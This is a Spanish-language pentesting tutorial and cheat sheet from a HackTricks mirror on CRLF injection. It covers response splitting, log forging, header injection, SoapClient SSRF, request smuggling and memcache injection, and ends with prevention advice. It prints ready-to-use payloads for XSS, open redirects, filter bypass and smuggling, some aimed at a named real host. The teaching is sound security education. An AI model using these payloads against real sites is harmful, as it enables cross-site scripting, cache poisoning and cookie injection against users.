Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

18 KiB
Raw Blame History

Inyección de CRLF (%0D%0A)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si estás interesado en una carrera de hacking y hackear lo inhackeable, ¡estamos contratando! (se requiere dominio del polaco escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

¿Qué es CRLF?

Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto las cabeceras de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Las cabeceras HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un salto de línea. En resumen, también se conocen como CRLF.

El servidor web utiliza el CRLF para entender cuándo comienza una nueva cabecera HTTP y cuándo termina otra. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.
De https://www.netsparker.com/blog/web-security/crlf-http-header/#

¿Qué es la Vulnerabilidad de Inyección de CRLF?

En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de salto de línea en la entrada del usuario para engañar al servidor, a la aplicación web o al usuario haciéndoles creer que se ha terminado un objeto y que ha comenzado otro. Por lo tanto, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.

Inyección de CRLF en aplicaciones web

En las aplicaciones web, una inyección de CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad directa en la aplicación web. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy graves en una aplicación web, aunque nunca se haya incluido en la lista OWASP Top 10. Por ejemplo, también es posible manipular archivos de registro en un panel de administración, como se explica en el siguiente ejemplo.

Un ejemplo de Inyección de CRLF en un archivo de registro

Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta visitada, como se muestra a continuación:

123.123.123.123 - 08:15 - /index.php?page=home

Si un atacante es capaz de inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas de registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

El %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los muestra:

IP - Hora - Ruta visitada

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro restrictedaction, que solo puede ser utilizado por un administrador.

El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y, por lo tanto, probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.

Toda la parte de la consulta que comienza con %0d%0a será tratada por el servidor como un parámetro. Después de eso, hay otro & con el parámetro restrictedaction que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:

/index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Descripción

Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF indicará al navegador que el encabezado termina y el cuerpo comienza. Esto significa que ahora puede escribir datos dentro del cuerpo de la respuesta donde se almacena el código HTML. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.

Un ejemplo de HTTP Response Splitting que lleva a XSS

Imagina una aplicación que establece un encabezado personalizado, por ejemplo:

X-Your-Name: Bob

El valor del encabezado se establece a través de un parámetro GET llamado "name". Si no se realiza ninguna codificación de URL y el valor se refleja directamente dentro del encabezado, es posible que un atacante pueda insertar la combinación mencionada anteriormente de CRLFCRLF para indicar al navegador que comienza el cuerpo de la solicitud. De esta manera, puede insertar datos como una carga útil XSS, por ejemplo:

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

El código anterior mostrará una ventana de alerta en el contexto del dominio atacado.

Un ejemplo de HTTP Response Splitting que conduce a una redirección

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

Navegador a:

/%0d%0aLocation:%20http://myweb.com

Y el servidor responde con el encabezado:

Location: http://myweb.com

Otro ejemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

En la ruta URL

Puedes enviar la carga útil dentro de la ruta URL para controlar la respuesta del servidor:

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

Inyección de encabezado HTTP

Descripción

Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la misma política de origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) que de otra manera no se podrían explotar.

Un ejemplo de inyección de encabezado HTTP para extraer datos sensibles

Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartir recursos de origen cruzado), puede usar JavaScript para acceder a recursos que están protegidos por SOP (Política de origen mismo), que evita que los sitios de diferentes orígenes se accedan entre sí.

Nueva solicitud HTTP en SSRF

Al abusar de la inyección CRLF, puedes crear una nueva solicitud HTTP e inyectarla.
Un buen ejemplo se puede hacer usando el gadget de deserialización SoapClient en PHP. Esta clase es vulnerable a CRLF dentro del parámetro user_agent, lo que permite insertar nuevos encabezados y contenido del cuerpo. Sin embargo, incluso puedes aprovechar esta vulnerabilidad para inyectar una nueva solicitud HTTP:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

Inyección de encabezados para el contrabando de solicitudes

Puedes inyectar encabezados esenciales para asegurarte de que el back-end mantenga la conexión abierta después de responder a la solicitud inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

A continuación, especifique una segunda solicitud. Aquí tienes un ataque clásico de inserción de solicitudes con encabezados/cuerpo adicionales agregados por el servidor después de la inyección.
Aquí hay dos de las muchas opciones para la explotación entre usuarios.

Especificar un prefijo malicioso para envenenar la solicitud del próximo usuario o una caché web:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

O crear nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar el envenenamiento de la cola de respuestas.

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Para obtener más información sobre esta técnica y los problemas potenciales, consulte la fuente original.

Inyección de Memcache

Memcache es un almacenamiento de clave-valor que utiliza un protocolo de texto claro. Más información en:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Si una plataforma toma datos de una solicitud HTTP y los utiliza sin sanitizar para realizar solicitudes a un servidor memcache, un atacante podría abusar de este comportamiento para inyectar nuevos comandos de memcache.

Por ejemplo, en la vulnerabilidad original descubierta, se utilizaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron inyectar comandos de memcache que envenenarían la caché para enviar los detalles de las víctimas (incluidos nombres de usuario y contraseñas) a los servidores del atacante:

Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las IP y los puertos de los atacantes a usuarios cuyo correo electrónico el atacante no conocía:

Para obtener toda la información, lee el informe original.

Impactos de la Vulnerabilidad de Inyección de CRLF

El impacto de las inyecciones de CRLF varía e incluye todos los impactos de la ejecución de código en sitios cruzados hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los filtros XSS y la Política de mismo origen en los navegadores de la víctima, dejándolos susceptibles a ataques maliciosos.

Cómo prevenir las Inyecciones de CRLF / Encabezados HTTP en Aplicaciones Web

La mejor técnica de prevención es no utilizar la entrada de los usuarios directamente dentro de los encabezados de respuesta. Si eso no es posible, siempre debes usar una función para codificar los caracteres especiales de CRLF. Otra buena práctica de seguridad de aplicaciones web es actualizar tu lenguaje de programación a una versión que no permita la inyección de CR y LF dentro de las funciones que establecen los encabezados HTTP.

CHEATSHEET

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Herramienta

{% embed url="https://github.com/dwisiswant0/crlfuzz" %}

Lista de Detección de Fuerza Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}

Referencias

Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere fluidez en polaco, tanto escrito como hablado).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥